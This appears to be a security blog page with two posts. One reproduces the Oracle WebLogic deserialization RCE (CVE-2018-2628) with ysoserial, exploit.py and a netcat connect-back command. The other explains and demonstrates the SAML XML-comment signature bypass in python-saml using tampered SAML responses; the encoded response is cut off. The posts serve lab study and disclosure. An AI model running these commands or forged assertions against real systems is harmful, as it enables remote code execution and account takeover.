分类目录归档:安全分析

Oracle Weblogic Server Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)

Description

April 17, 2018, Oracle fixed a deserialization Remote Command Execution vulnerability (CVE-2018-2628) on Weblogic server WLS Core Components .

Vulnerable:

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.2
  • 12.2.1.3

Environment

Run below commands to create a vulnerable Weblogic server (10.3.6.0):

docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

Reproduce Steps

Run below commands on JRMPListener host:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'

Start a listener on attacker host:

nc -nlvp 4040

Run exploit script on attacker host:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
e.g. 
a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator) 

POC

Reference

漏洞分析与实践之基于SAML实现的单点登录系统

0x00 前言

近日,笔者看到国外安全组织Duo Labs公布了一个比较有意思的漏洞,该漏洞影响了大部分基于SAML的SSO系统的实现,出于好奇进行了如下分析和实践,遂成此文。水平有限,不当之处敬请指正。

0x01 分析

什么是SAML

SAML全称Security Assertion Markup Language,顾名思义“安全声明标记语言”,它是一个为应用程序提供身份认证和授权的协议,通常应用于单点登录(SSO)系统。

Security Assertion Markup Language (SAML, pronounced sam-el[1]) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. As its name implies, SAML is an XML-based markup language for security assertions (statements that service providers use to make access-control decisions). SAML is also:

    A set of XML-based protocol messages
    A set of protocol message bindings
    A set of profiles (utilizing all of the above)

SAML提供了一种只在一个统一的身份认证服务上完成用户认证即可访问其他授权第三方服务的方法,相当于“一次认证,处处访问”。

SAML包含以下几个概念:

  • Identity Provider (IdP) – 身份认证提供者 – 一个提供了用户身份识别和认证的软件或者服务,如:检查用户名和密码,校验用户状态,双因素认证等
  • Serivce Provider (SP) – 服务提供者 – 用户需要获取访问权限的应用系统
  • SAML Assertion – SAML声明 – 一个标识了用户身份和其他相关属性的消息

SAML是如何工作的

SAML的工作模式其实可以简化如下:

  • 用户A想要访问SP的资源
  • 用户A先访问IdP,完成一系列校验和身份认证后获得一个访问SP的SAML Response (包含SAML assertion和该SP所需要的相关的属性等)
  • 用户A带着从IdP获取到的SAML assertion去访问SP,并被授权访问相应的数据资源

SAML分为2种模式:

  • IdP-Initiated
  • SP-Initiated

二者的区别在于认证的工作流从什么地方开始。当用户首先访问到IdP(通常是一个统一认证的登陆页)完成身份认证后带着IdP生成的SAML assertion去访问SP并取得访问权限,这就是IdP-Initiated; 当用户首先访问SP但是被redirect到IdP并带着SAML request(作用是告诉IdP该用户想要登陆该SP,但是没有SAML assetion,请帮忙获取一个SAML assertion并redirect回到该SP),在IdP上完成身份认证后带着SAML assertion去访问之前的那个SP并取得访问权限,这就是SP-Inititated。

详细的解释可以参考这篇文章

漏洞是怎么产生的

回到我们的正题了,这到底是个什么样的漏洞?又是如何产生的呢?

在上面SAML的基本介绍里,我们提到过基于SAML的SSO系统是通过SAML assertion来告诉SP是否该用户是经过身份认证并被授权访问的。为了说明白原理,我们来简化一下这个流程(实际上可能会比这个过程复杂):

  • 用户访问一个IdP服务经过身份认证后得到一个签名后的SAML Response(包含SAML assertion)。用户的客户端浏览器把这个SAML Response转发到要访问的SP
  • SP校验这个转发过来的SAML Response的签名
  • 如果签名有效,SAML Response中的身份识别码(如NameID)将会被提取出来用以判断什么用户被认证通过了,从而授予相应的访问权限

一个比较简单但是典型的SAML Response的例子如下:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

从上面这个例子中我们可以看到几个重点部分,NameID, CanonicalizationMethod以及SignatureValue,他们分别表示身份识别码,标准化签名方法,校验签名。

SP在校验签名时需要利用CanonicalizationMethod提取SAML Response中的NameID生成签名并与SAML Response中SignatureValue作对比,如果二者一致则表示签名校验成功并提取NameID中的值作为身份识别码并授予相应的访问权限;反之失败并拒绝用户请求。

通常的CanonicalizationMethod是http://www.w3.org/2001/10/xml-exc-c14n#, 而该方法在签名之前会先解析XML中节点且忽略注释部分,如

<NameID>test@example<!--This is comment -->.com</NameID>

节点NameID中的注释部分<!–This is comment –>会被忽略,其获取到NameID的值是test@example.com而不是test@example<!–This is comment –>.com。这样直接导致的一个后果就是不同的NameID可能会产生相同的SignatureValue,这也就为后面的漏洞埋下了伏笔。

而另一方面,SP在签名校验成功后提取SAML Response中的NameID时使用的XML解析方法却很可能与CanonicalizationMethod不一致。如Python中的defusedxml.lxml库在解析<NameID>test@example<!–This is comment –>.com</NameID>中的NameID时就只会返回test@example。如此一来,如果SP的Python-SAML实现中使用的是defusedxml.lxml库,那么下面这两个SAML Response就会产生不同的NameID和相同的SignatureValue。换句话说,我们在原始的SAML Response中的NameID user@user.com.evil.com中添加了注释,这时SP依旧认为该SAML Response签名有效但最终却由于XML解析库的不一致的问题提取了错误的用户身份认证码进入了用户user@user.com的账户,从而造成了越权用户访问的问题。
原始的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

篡改后的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--This is comment-->.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

那么实际情况下,基于SAML的SSO的实现上会不会出现这种对于XML解析不一致的问题呢?漏洞的发现者测试后发现确实存在,下面这些实现都存在这类问题:

  • OneLogin – python-saml – CVE-2017-11427
  • OneLogin – ruby-saml – CVE-2017-11428
  • Clever – saml2-js – CVE-2017-11429
  • OmniAuth-SAML – CVE-2017-11430
  • Shibboleth – CVE-2018-0489
  • Duo Network Gateway – CVE-2018-7340

0x02 实践

原理分析完了,接下来就是实践验证的时刻了。笔者下面以OneLogin的Python-SAML为例来实际复现一下。

首先,下载受该漏洞影响的OneLogin’s SAML Python Toolkit v2.3.0 (注: 2.4.0版本已经修复此漏洞了)。

接着,按照此文章搭建一个基于OneLogin SAML单点登录的Demo系统(本文以demo-flask为例)。

漏洞环境搭建完成后我们需要在我们的IdP(此处是OneLogin)上建立2个测试用户:

  • 测试用户A:test1@cnnt.com

  • 测试用户B:test1@cnnt.com.cnnt.com

我们的测试目的是,能否通过已经认证成功后的测试用户B的SAML Response经过修改成功获取到测试用户A的数据。

接下来,我们开始尝试利用这个漏洞。

第一步,登陆并成功认证测试用户B,

我们获取到如下的SAML Response:

经过简单的分析得知,该SAML Response是经过base64encode+urlencode的得到的,解码后如下:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R6ff459b0bb3452d49705f1da93d843942d45a54b" Version="2.0" IssueInstant="2018-03-02T16:08:19Z" Destination="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b" IssueInstant="2018-03-02T16:08:19Z"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>hvRgEUe31bN8ask8BaoAWe8f+9c=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>P2+AXQqqsPePdZZ9FnFIbzvTAuRSdYGyfuSmv6jKeZFsu1JGMBCPaU5SaiwSb2OWrvrLN+9KDLAvY/TOJF40j6wx0WSrs+Gs/PEGhUY5BF6NvTTOwKJtCAk7drMMrK3gaMcRJUiLBMjllCO+oYuuQ7EAX0+fqbQYpR/nc35p+TxNC+lHwq57TOfPNtqI/daHlv2IpeeNtOwnq4A2vpo4TBFB3kqTgJj8zbXN9+exGT6fZVXLEzdzB2JNX/TbGFnQIW3J1ocJQvrQwgJG8OVuLNHsm1zrsKKnNT+HAy173h71kZNxxJhEzYTEKJG9NAsdNX3ZdC0kgk+9tNEWore0RQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIEDjCCAvagAwIBAgIURSF7r5502dfTNIYjZbCbuQzoTZAwDQYJKoZIhvcNAQEFBQAwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTgwHhcNMTgwMzAxMDc0NzA3WhcNMjMwMzAxMDc0NzA3WjBVMQswCQYDVQQGEwJVUzENMAsGA1UECgwEQ05OVDEVMBMGA1UECwwMT25lTG9naW4gSWRQMSAwHgYDVQQDDBdPbmVMb2dpbiBBY2NvdW50IDEyMzA5ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANVH88hpn4umxEHuaTOtCAarNCYr/Vnv1D953mlwQ/y1NqLcC0vxikzH7G6JoTawzqtrtheln11AoxmkzqhTvwxXpnbbkHUz/BxRZFaWI1OcT2i490n46HekHPEm9QrkYgGyLKYgnsFu/gvl8TGeaav+jSecGgfEMVcxwOs1fIrJouW/UNheehjPpEB+zYMBf7bqabAdV86R6mFpDq3CJP86iuTNK1w1VnZB4v6QTQkqGJ8anVSqS9z200BBjjvBurylTPjefJdO1V8CcC3NS7sOW8GQO0jHA4+GH2EPP75kYV632GgzD6kPt8BiBEs73mcjml+lH2VukjBLbKhprVsCAwEAAaOB1TCB0jAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSccxTeTU6gqnuuUV+6k/CLM71XrjCBkgYDVR0jBIGKMIGHgBSccxTeTU6gqnuuUV+6k/CLM71XrqFZpFcwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTiCFEUhe6+edNnX0zSGI2Wwm7kM6E2QMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAKnId82nIkRSoULV8w8vPtas5TkSRhFN0+A1+7hepQGITTzaRansCLJOgAzj2jeq0YgeeIO/TUKBN3v4yEr8ir50TDJO427XZaBz8BeKwyKBbP6oPRNIgSyvUABh57roX+JyMx2yfFi667QsJX/N5Ug0SslajfndIV7lCQwqoES2Gw87K7rtkXoLn4gZgtsgsoA4HU0ktG2BsrxMV0goHxbJPPWsqOxhhNHVtEwn3dG2y6WxFrdA0RYRFMttYKP08VFCf+8tdLIrX6yr0ZnYzRElb6y81mdmJaTywehvFQVwb+5L8enhPd5eBqfzDwdTdGm98Qyah9ScV5nlUy5pJLA==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test1@cnnt.com.cnnt.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2018-03-02T16:11:19Z" Recipient="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2018-03-02T16:05:19Z" NotOnOrAfter="2018-03-02T16:11:19Z"><saml:AudienceRestriction><saml:Audience>http://180.76.234.24/metadata/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-03-02T16:08:18Z" SessionNotOnOrAfter="2018-03-03T16:08:19Z" SessionIndex="_d6e40850-0061-0136-d60e-06da7126ae26"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Test</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="PersonImmutableID"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"/></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test1@cnnt.com.cnnt.com</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

第二步,将NameID和Attribute中的用户B的邮箱

test1@cnnt.com.cnnt.com

改成

test1@cnnt.com<!---->.cnnt.com

并重新base64encode+urlencode后得到如下的SAML Response:

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJSNmZmNDU5YjBiYjM0NTJkNDk3MDVmMWRhOTNkODQzOTQyZDQ1YTU0YiIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTgtMDMtMDJUMTY6MDg6MTlaIiBEZXN0aW5hdGlvbj0iaHR0cDovLzE4MC43Ni4yMzQuMjQvP2FjcyIgSW5SZXNwb25zZVRvPSJPTkVMT0dJTl82MWY0YWM1ZDVlOTZhMWNiZDVhZDE4YzI0NzU0ODU0OGUwM2QzZmExIj48c2FtbDpJc3N1ZXI%2BaHR0cHM6Ly9hcHAub25lbG9naW4uY29tL3NhbWwvbWV0YWRhdGEvNzU4MzIxPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBWZXJzaW9uPSIyLjAiIElEPSJwZng3NzhkNzg3Yy05NTZiLWQ3MzAtNDNiYS03ZjJmNGUwYjVhM2IiIElzc3VlSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOVoiPjxzYW1sOklzc3Vlcj5odHRwczovL2FwcC5vbmVsb2dpbi5jb20vc2FtbC9tZXRhZGF0YS83NTgzMjE8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIvPjxkczpSZWZlcmVuY2UgVVJJPSIjcGZ4Nzc4ZDc4N2MtOTU2Yi1kNzMwLTQzYmEtN2YyZjRlMGI1YTNiIj48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxkczpEaWdlc3RWYWx1ZT5odlJnRVVlMzFiTjhhc2s4QmFvQVdlOGYrOWM9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlAyK0FYUXFxc1BlUGRaWjlGbkZJYnp2VEF1UlNkWUd5ZnVTbXY2aktlWkZzdTFKR01CQ1BhVTVTYWl3U2IyT1dydnJMTis5S0RMQXZZL1RPSkY0MGo2d3gwV1NycytHcy9QRUdoVVk1QkY2TnZUVE93S0p0Q0FrN2RyTU1ySzNnYU1jUkpVaUxCTWpsbENPK29ZdXVRN0VBWDArZnFiUVlwUi9uYzM1cCtUeE5DK2xId3E1N1RPZlBOdHFJL2RhSGx2MklwZWVOdE93bnE0QTJ2cG80VEJGQjNrcVRnSmo4emJYTjkrZXhHVDZmWlZYTEV6ZHpCMkpOWC9UYkdGblFJVzNKMW9jSlF2clF3Z0pHOE9WdUxOSHNtMXpyc0tLbk5UK0hBeTE3M2g3MWtaTnh4SmhFellURUtKRzlOQXNkTlgzWmRDMGtnays5dE5FV29yZTBSUT09PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFRGpDQ0F2YWdBd0lCQWdJVVJTRjdyNTUwMmRmVE5JWWpaYkNidVF6b1RaQXdEUVlKS29aSWh2Y05BUUVGQlFBd1ZURUxNQWtHQTFVRUJoTUNWVk14RFRBTEJnTlZCQW9NQkVOT1RsUXhGVEFUQmdOVkJBc01ERTl1WlV4dloybHVJRWxrVURFZ01CNEdBMVVFQXd3WFQyNWxURzluYVc0Z1FXTmpiM1Z1ZENBeE1qTXdPVGd3SGhjTk1UZ3dNekF4TURjME56QTNXaGNOTWpNd016QXhNRGMwTnpBM1dqQlZNUXN3Q1FZRFZRUUdFd0pWVXpFTk1Bc0dBMVVFQ2d3RVEwNU9WREVWTUJNR0ExVUVDd3dNVDI1bFRHOW5hVzRnU1dSUU1TQXdIZ1lEVlFRRERCZFBibVZNYjJkcGJpQkJZMk52ZFc1MElERXlNekE1T0RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTlZIODhocG40dW14RUh1YVRPdENBYXJOQ1lyL1ZudjFEOTUzbWx3US95MU5xTGNDMHZ4aWt6SDdHNkpvVGF3enF0cnRoZWxuMTFBb3hta3pxaFR2d3hYcG5iYmtIVXovQnhSWkZhV0kxT2NUMmk0OTBuNDZIZWtIUEVtOVFya1lnR3lMS1lnbnNGdS9ndmw4VEdlYWF2K2pTZWNHZ2ZFTVZjeHdPczFmSXJKb3VXL1VOaGVlaGpQcEVCK3pZTUJmN2JxYWJBZFY4NlI2bUZwRHEzQ0pQODZpdVROSzF3MVZuWkI0djZRVFFrcUdKOGFuVlNxUzl6MjAwQkJqanZCdXJ5bFRQamVmSmRPMVY4Q2NDM05TN3NPVzhHUU8wakhBNCtHSDJFUFA3NWtZVjYzMkdnekQ2a1B0OEJpQkVzNzNtY2ptbCtsSDJWdWtqQkxiS2hwclZzQ0F3RUFBYU9CMVRDQjBqQU1CZ05WSFJNQkFmOEVBakFBTUIwR0ExVWREZ1FXQkJTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJqQ0JrZ1lEVlIwakJJR0tNSUdIZ0JTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJxRlpwRmN3VlRFTE1Ba0dBMVVFQmhNQ1ZWTXhEVEFMQmdOVkJBb01CRU5PVGxReEZUQVRCZ05WQkFzTURFOXVaVXh2WjJsdUlFbGtVREVnTUI0R0ExVUVBd3dYVDI1bFRHOW5hVzRnUVdOamIzVnVkQ0F4TWpNd09UaUNGRVVoZTYrZWROblgwelNHSTJXd203a002RTJRTUE0R0ExVWREd0VCL3dRRUF3SUhnREFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBS25JZDgybklrUlNvVUxWOHc4dlB0YXM1VGtTUmhGTjArQTErN2hlcFFHSVRUemFSYW5zQ0xKT2dBemoyamVxMFlnZWVJTy9UVUtCTjN2NHlFcjhpcjUwVERKTzQyN1haYUJ6OEJlS3d5S0JiUDZvUFJOSWdTeXZVQUJoNTdyb1grSnlNeDJ5ZkZpNjY3UXNKWC9ONVVnMFNzbGFqZm5kSVY3bENRd3FvRVMyR3c4N0s3cnRrWG9MbjRnWmd0c2dzb0E0SFUwa3RHMkJzcnhNVjBnb0h4YkpQUFdzcU94aGhOSFZ0RXduM2RHMnk2V3hGcmRBMFJZUkZNdHRZS1AwOFZGQ2YrOHRkTElyWDZ5cjBabll6UkVsYjZ5ODFtZG1KYVR5d2VodkZRVndiKzVMOGVuaFBkNWVCcWZ6RHdkVGRHbTk4UXlhaDlTY1Y1bmxVeTVwSkxBPT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BdGVzdDFAY25udC5jb208IS0tLS0%2BLmNubnQuY29tPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE4LTAzLTAyVDE2OjExOjE5WiIgUmVjaXBpZW50PSJodHRwOi8vMTgwLjc2LjIzNC4yNC8/YWNzIiBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzYxZjRhYzVkNWU5NmExY2JkNWFkMThjMjQ3NTQ4NTQ4ZTAzZDNmYTEiLz48L3NhbWw6U3ViamVjdENvbmZpcm1hdGlvbj48L3NhbWw6U3ViamVjdD48c2FtbDpDb25kaXRpb25zIE5vdEJlZm9yZT0iMjAxOC0wMy0wMlQxNjowNToxOVoiIE5vdE9uT3JBZnRlcj0iMjAxOC0wMy0wMlQxNjoxMToxOVoiPjxzYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2BPHNhbWw6QXVkaWVuY2U%2BaHR0cDovLzE4MC43Ni4yMzQuMjQvbWV0YWRhdGEvPC9zYW1sOkF1ZGllbmNlPjwvc2FtbDpBdWRpZW5jZVJlc3RyaWN0aW9uPjwvc2FtbDpDb25kaXRpb25zPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOFoiIFNlc3Npb25Ob3RPbk9yQWZ0ZXI9IjIwMTgtMDMtMDNUMTY6MDg6MTlaIiBTZXNzaW9uSW5kZXg9Il9kNmU0MDg1MC0wMDYxLTAxMzYtZDYwZS0wNmRhNzEyNmFlMjYiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuTGFzdE5hbWUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QyPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuRmlyc3ROYW1lIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4c2k6dHlwZT0ieHM6c3RyaW5nIj50ZXN0Mjwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJtZW1iZXJPZiI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyI%2BVGVzdDwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJQZXJzb25JbW11dGFibGVJRCI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyIvPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYX